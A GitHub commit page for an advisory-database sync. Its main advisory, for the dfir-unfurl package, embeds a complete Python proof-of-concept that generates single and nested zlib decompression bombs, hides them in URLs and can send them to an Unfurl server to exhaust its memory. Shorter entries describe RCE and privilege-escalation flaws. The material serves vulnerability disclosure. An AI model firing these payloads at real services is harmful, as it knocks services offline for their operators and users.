Skip to content

Commit ba7abf0

Browse files
Advisory Database Sync
1 parent 4bc683f commit ba7abf0

47 files changed

Lines changed: 1886 additions & 20 deletions

File tree

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.
Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-h5qv-qjv4-pc5m",
4+
"modified": "2026-01-29T15:31:30Z",
5+
"published": "2026-01-29T15:31:30Z",
6+
"aliases": [],
7+
"summary": "Unfurl's unbounded zlib decompression allows decompression bomb DoS",
8+
"details": "### Summary\nThe compressed data parser uses `zlib.decompress()` without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.\n\n### Details\n- `unfurl/parsers/parse_compressed.py` calls `zlib.decompress(decoded)` with no size limit.\n- Inputs are accepted from URL components that match base64 patterns.\n- Highly compressible payloads can expand orders of magnitude larger than their compressed size.\n\n### PoC\n1. Generate a payload with `security_poc/poc_decompression_bomb.py --generate-only`.\n2. The script creates a base64-encoded zlib payload embedded in a URL.\n3. Submitting the URL to `/json/visjs` can cause the server to allocate large amounts of memory.\n4. The script includes a `--test` mode but warns it can crash the service.\n\n### PoC Script\n```python\n#!/usr/bin/env python3\n\"\"\"\nUnfurl Decompression Bomb Proof of Concept\n==========================================\n\nThis PoC demonstrates a Denial of Service vulnerability in Unfurl's\ncompressed data parsing. The zlib.decompress() call has no size limits,\nallowing an attacker to submit small payloads that expand to gigabytes.\n\nVulnerability Location:\n- parse_compressed.py:81-82:\n inflated_bytes = zlib.decompress(decoded) # No maxsize parameter\n\nAttack Impact:\n- Memory exhaustion\n- Service crash\n- Resource consumption (cloud cost attacks)\n\nUsage:\n python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]\n\"\"\"\n\nimport argparse\nimport base64\nimport os\nimport zlib\nimport requests\nimport sys\nimport time\n\n\ndef create_compression_bomb(target_size_mb: int = 100) -> bytes:\n \"\"\"\n Create a compression bomb - small compressed data that expands to target_size_mb.\n\n Compression ratio for zeros can be ~1000:1 or better.\n A 1KB compressed payload can expand to ~1MB.\n A 100KB payload can expand to ~100MB.\n \"\"\"\n # Create highly compressible data (all zeros)\n target_bytes = target_size_mb * 1024 * 1024\n uncompressed = b'\\x00' * target_bytes\n\n # Compress with maximum compression\n compressed = zlib.compress(uncompressed, 9)\n\n compression_ratio = len(uncompressed) / len(compressed)\n\n print(f\"[*] Created compression bomb:\")\n print(f\" Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)\")\n print(f\" Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)\")\n print(f\" Compression ratio: {compression_ratio:.0f}:1\")\n\n return compressed\n\n\ndef create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:\n \"\"\"\n Create a nested compression bomb (zip bomb style).\n Each level multiplies the final size.\n\n Warning: This can create VERY large expansions.\n 3 levels with 10MB base = 10^3 = 1GB\n 4 levels with 10MB base = 10^4 = 10GB\n \"\"\"\n print(f\"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base\")\n\n # Start with base payload\n data = b'\\x00' * (base_size_mb * 1024 * 1024)\n\n for level in range(levels):\n data = zlib.compress(data, 9)\n print(f\" Level {level + 1}: {len(data):,} bytes\")\n\n theoretical_size = base_size_mb * (1000 ** levels) # Rough estimate\n print(f\"[*] Theoretical expanded size: ~{theoretical_size} MB\")\n\n return data\n\n\ndef create_recursive_quine_bomb() -> bytes:\n \"\"\"\n Create a recursive decompression scenario.\n When decompressed, the output is valid zlib that can be decompressed again.\n\n This exploits any recursive decompression logic.\n \"\"\"\n # This is a simplified version - real quine bombs are more complex\n # The concept: output when decompressed is also valid compressed data\n\n # Create a pattern that when decompressed resembles compressed data\n # This is primarily theoretical for this vulnerability\n base = b'x\\x9c' + (b'\\x00' * 1000) # Fake zlib header + zeros\n return zlib.compress(base * 1000, 9)\n\n\ndef encode_for_unfurl(compressed: bytes) -> str:\n \"\"\"\n Encode compressed data as base64 for URL inclusion.\n Unfurl's parse_compressed.py will:\n 1. Detect base64 pattern\n 2. Decode base64\n 3. Attempt zlib.decompress() without size limit\n \"\"\"\n return base64.b64encode(compressed).decode('ascii')\n\n\ndef create_malicious_url(payload: str) -> str:\n \"\"\"\n Create a URL containing the bomb payload.\n Multiple injection points are possible.\n \"\"\"\n # As a query parameter value\n return f\"https://example.com/page?data={payload}\"\n\n\ndef test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -> dict:\n \"\"\"\n Submit bomb to Unfurl and monitor for DoS indicators.\n \"\"\"\n api_url = f\"{target_url}/json/visjs\"\n params = {'url': payload_url}\n\n result = {\n 'submitted': True,\n 'timeout': False,\n 'error': None,\n 'response_time': 0,\n 'memory_exhaustion_likely': False\n }\n\n try:\n start = time.time()\n response = requests.get(api_url, params=params, timeout=timeout)\n result['response_time'] = time.time() - start\n result['status_code'] = response.status_code\n\n # Check for error responses indicating resource issues\n if response.status_code == 500:\n result['error'] = 'Server error - possible memory exhaustion'\n result['memory_exhaustion_likely'] = True\n elif response.status_code == 503:\n result['error'] = 'Service unavailable - DoS successful'\n result['memory_exhaustion_likely'] = True\n\n except requests.exceptions.Timeout:\n result['timeout'] = True\n result['error'] = f'Request timed out after {timeout}s - possible DoS'\n result['memory_exhaustion_likely'] = True\n except requests.exceptions.ConnectionError as e:\n result['error'] = f'Connection error: {e} - server may have crashed'\n result['memory_exhaustion_likely'] = True\n except Exception as e:\n result['error'] = str(e)\n\n return result\n\n\ndef main():\n parser = argparse.ArgumentParser(description='Unfurl Decompression Bomb PoC')\n parser.add_argument('--target', default='http://localhost:5000',\n help='Target Unfurl instance URL')\n parser.add_argument('--size', type=int, default=100,\n help='Target decompressed size in MB')\n parser.add_argument('--nested', type=int, default=0,\n help='Nesting levels for nested bomb (0 = simple bomb)')\n parser.add_argument('--test', action='store_true',\n help='Actually send the bomb (DANGEROUS)')\n parser.add_argument('--generate-only', action='store_true',\n help='Only generate payload, do not send')\n parser.add_argument('--output', help='Save payload to file')\n args = parser.parse_args()\n\n print(f\"\"\"\n╔═══════════════════════════════════════════════════════════════╗\n║ UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT ║\n╠═══════════════════════════════════════════════════════════════╣\n║ Target: {args.target:<45} ║\n║ Expanded Size: {args.size:<45} MB ║\n║ Nested Levels: {args.nested:<45} ║\n╚═══════════════════════════════════════════════════════════════╝\n\"\"\")\n\n # Generate the bomb\n if args.nested > 0:\n print(f\"\\n[!] Creating NESTED bomb - theoretical size could be enormous!\")\n print(f\" Be very careful with nested levels > 2\")\n if args.nested > 3:\n print(f\"[!] {args.nested} levels could produce terabytes of data!\")\n confirm = input(\" Continue? (yes/no): \")\n if confirm.lower() != 'yes':\n sys.exit(0)\n compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1)\n else:\n compressed = create_compression_bomb(args.size)\n\n # Encode for URL\n b64_payload = encode_for_unfurl(compressed)\n malicious_url = create_malicious_url(b64_payload)\n\n print(f\"\\n[*] Payload Statistics:\")\n print(f\" Compressed size: {len(compressed):,} bytes\")\n print(f\" Base64 size: {len(b64_payload):,} bytes\")\n print(f\" URL length: {len(malicious_url):,} bytes\")\n\n # Save payload if requested\n if args.output:\n with open(args.output, 'w') as f:\n f.write(malicious_url)\n print(f\"\\n[+] Payload saved to: {args.output}\")\n\n # Display truncated payload\n print(f\"\\n[*] Malicious URL (truncated):\")\n print(f\" {malicious_url[:100]}...\")\n print(f\" (Full URL is {len(malicious_url):,} characters)\")\n\n # Save full payload for reference\n script_dir = os.path.dirname(os.path.abspath(__file__))\n payload_path = os.path.join(script_dir, 'bomb_payload.txt')\n with open(payload_path, 'w') as f:\n f.write(malicious_url)\n print(f\"\\n[+] Full payload saved to: {payload_path}\")\n\n # Verify the bomb works locally\n print(f\"\\n[*] Verifying bomb locally (limited test)...\")\n try:\n # Only decompress a small portion to verify it's valid\n test_data = zlib.decompress(compressed, bufsize=1024*1024) # 1MB max\n print(f\" ✅ Bomb is valid - decompresses to zeros\")\n except Exception as e:\n print(f\" ❌ Error: {e}\")\n sys.exit(1)\n\n if args.generate_only:\n print(\"\\n[*] Generate-only mode. Not sending payload.\")\n sys.exit(0)\n\n if not args.test:\n print(f\"\"\"\n╔═══════════════════════════════════════════════════════════════╗\n║ SAFETY CHECK ║\n╚═══════════════════════════════════════════════════════════════╝\n\nTo actually test this vulnerability, run with --test flag.\n\nManual testing:\n1. Copy the payload URL from {payload_path}\n2. Submit it to the target Unfurl instance\n3. Monitor server memory usage\n\nExpected behavior if vulnerable:\n- Server memory usage spikes dramatically\n- Request hangs or times out\n- Server may crash or become unresponsive\n\nMitigation check:\nThe vulnerability is FIXED if zlib.decompress() is called with\na max_length parameter, e.g.:\n zlib.decompress(data, bufsize=10*1024*1024) # 10MB limit\n\"\"\")\n sys.exit(0)\n\n # Actually test (dangerous!)\n print(f\"\\n[!] SENDING BOMB TO {args.target}\")\n print(f\"[!] This may crash the target service!\")\n confirm = input(\" Type 'CONFIRM' to proceed: \")\n\n if confirm != 'CONFIRM':\n print(\" Aborted.\")\n sys.exit(0)\n\n print(f\"\\n[*] Submitting payload...\")\n result = test_vulnerability(args.target, malicious_url, timeout=60.0)\n\n print(f\"\\n[*] Results:\")\n print(f\" Timeout: {result['timeout']}\")\n print(f\" Response time: {result['response_time']:.2f}s\")\n print(f\" Error: {result['error']}\")\n print(f\" Memory exhaustion likely: {result['memory_exhaustion_likely']}\")\n\n if result['memory_exhaustion_likely']:\n print(f\"\"\"\n╔═══════════════════════════════════════════════════════════════╗\n║ VULNERABILITY CONFIRMED ║\n╚═══════════════════════════════════════════════════════════════╝\n\nThe target appears vulnerable to decompression bomb attacks.\n\nEvidence:\n- {result['error'] or 'Abnormal response observed'}\n\nRecommendation:\nAdd size limits to zlib.decompress() calls:\n\n # Before (vulnerable):\n inflated_bytes = zlib.decompress(decoded)\n\n # After (fixed):\n MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024 # 10MB\n inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)\n\nOr use streaming decompression with size checks:\n\n decompressor = zlib.decompressobj()\n chunks = []\n total_size = 0\n for chunk in iter(lambda: compressed_data.read(4096), b''):\n decompressed = decompressor.decompress(chunk)\n total_size += len(decompressed)\n if total_size > MAX_SIZE:\n raise ValueError(\"Decompressed data too large\")\n chunks.append(decompressed)\n\"\"\")\n else:\n print(\"\\n[*] Target may not be vulnerable or attack was mitigated.\")\n\n\nif __name__ == '__main__':\n main()\n```\n\n### Impact\nA remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).",
9+
"severity": [],
10+
"affected": [
11+
{
12+
"package": {
13+
"ecosystem": "PyPI",
14+
"name": "dfir-unfurl"
15+
},
16+
"ranges": [
17+
{
18+
"type": "ECOSYSTEM",
19+
"events": [
20+
{
21+
"introduced": "0"
22+
},
23+
{
24+
"last_affected": "20250810"
25+
}
26+
]
27+
}
28+
]
29+
}
30+
],
31+
"references": [
32+
{
33+
"type": "WEB",
34+
"url": "https://github.com/obsidianforensics/unfurl/security/advisories/GHSA-h5qv-qjv4-pc5m"
35+
},
36+
{
37+
"type": "PACKAGE",
38+
"url": "https://github.com/obsidianforensics/unfurl"
39+
}
40+
],
41+
"database_specific": {
42+
"cwe_ids": [
43+
"CWE-400",
44+
"CWE-409"
45+
],
46+
"severity": "MODERATE",
47+
"github_reviewed": true,
48+
"github_reviewed_at": "2026-01-29T15:31:30Z",
49+
"nvd_published_at": null
50+
}
51+
}

advisories/unreviewed/2025/10/GHSA-8fg8-r2x2-4mv9/GHSA-8fg8-r2x2-4mv9.json

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,17 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-8fg8-r2x2-4mv9",
4-
"modified": "2025-10-28T00:31:26Z",
4+
"modified": "2026-01-29T15:30:24Z",
55
"published": "2025-10-28T00:31:26Z",
66
"aliases": [
77
"CVE-2025-43024"
88
],
99
"details": "A GUI dialog of an application allows to view what files are in the file system without proper authorization.",
1010
"severity": [
11+
{
12+
"type": "CVSS_V3",
13+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
14+
},
1115
{
1216
"type": "CVSS_V4",
1317
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"

advisories/unreviewed/2025/10/GHSA-jwmf-chvc-rf92/GHSA-jwmf-chvc-rf92.json

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -41,7 +41,9 @@
4141
}
4242
],
4343
"database_specific": {
44-
"cwe_ids": [],
44+
"cwe_ids": [
45+
"CWE-770"
46+
],
4547
"severity": "MODERATE",
4648
"github_reviewed": false,
4749
"github_reviewed_at": null,
Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-258j-7hr2-w66m",
4+
"modified": "2026-01-29T15:30:28Z",
5+
"published": "2026-01-29T15:30:28Z",
6+
"aliases": [
7+
"CVE-2020-37012"
8+
],
9+
"details": "Tea LaTex 1.0 contains a remote code execution vulnerability that allows unauthenticated attackers to execute arbitrary shell commands through the /api.php endpoint. Attackers can craft a malicious LaTeX payload with shell commands that are executed when processed by the application's tex2png API action.",
10+
"severity": [
11+
{
12+
"type": "CVSS_V3",
13+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
14+
},
15+
{
16+
"type": "CVSS_V4",
17+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
18+
}
19+
],
20+
"affected": [],
21+
"references": [
22+
{
23+
"type": "ADVISORY",
24+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-37012"
25+
},
26+
{
27+
"type": "WEB",
28+
"url": "https://github.com/ammarfaizi2/latex.teainside.org"
29+
},
30+
{
31+
"type": "WEB",
32+
"url": "https://www.exploit-db.com/exploits/48805"
33+
},
34+
{
35+
"type": "WEB",
36+
"url": "https://www.vulncheck.com/advisories/tea-latex-remote-code-execution"
37+
}
38+
],
39+
"database_specific": {
40+
"cwe_ids": [
41+
"CWE-78"
42+
],
43+
"severity": "CRITICAL",
44+
"github_reviewed": false,
45+
"github_reviewed_at": null,
46+
"nvd_published_at": "2026-01-29T15:16:08Z"
47+
}
48+
}
Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-2gr9-gwrg-jc3v",
4+
"modified": "2026-01-29T15:30:28Z",
5+
"published": "2026-01-29T15:30:28Z",
6+
"aliases": [
7+
"CVE-2020-37021"
8+
],
9+
"details": "10-Strike Bandwidth Monitor 3.9 contains an unquoted service path vulnerability in multiple services that allows local attackers to escalate privileges. Attackers can place a malicious executable in specific file path locations to achieve privilege escalation to SYSTEM during service startup.",
10+
"severity": [
11+
{
12+
"type": "CVSS_V3",
13+
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
14+
},
15+
{
16+
"type": "CVSS_V4",
17+
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
18+
}
19+
],
20+
"affected": [],
21+
"references": [
22+
{
23+
"type": "ADVISORY",
24+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-37021"
25+
},
26+
{
27+
"type": "WEB",
28+
"url": "https://www.10-strike.com"
29+
},
30+
{
31+
"type": "WEB",
32+
"url": "https://www.exploit-db.com/exploits/48591"
33+
},
34+
{
35+
"type": "WEB",
36+
"url": "https://www.vulncheck.com/advisories/bandwidth-monitor-svcstrikebandmontitor-unquoted-service-path"
37+
}
38+
],
39+
"database_specific": {
40+
"cwe_ids": [
41+
"CWE-428"
42+
],
43+
"severity": "HIGH",
44+
"github_reviewed": false,
45+
"github_reviewed_at": null,
46+
"nvd_published_at": "2026-01-29T15:16:09Z"
47+
}
48+
}

0 commit comments

Comments
 (0)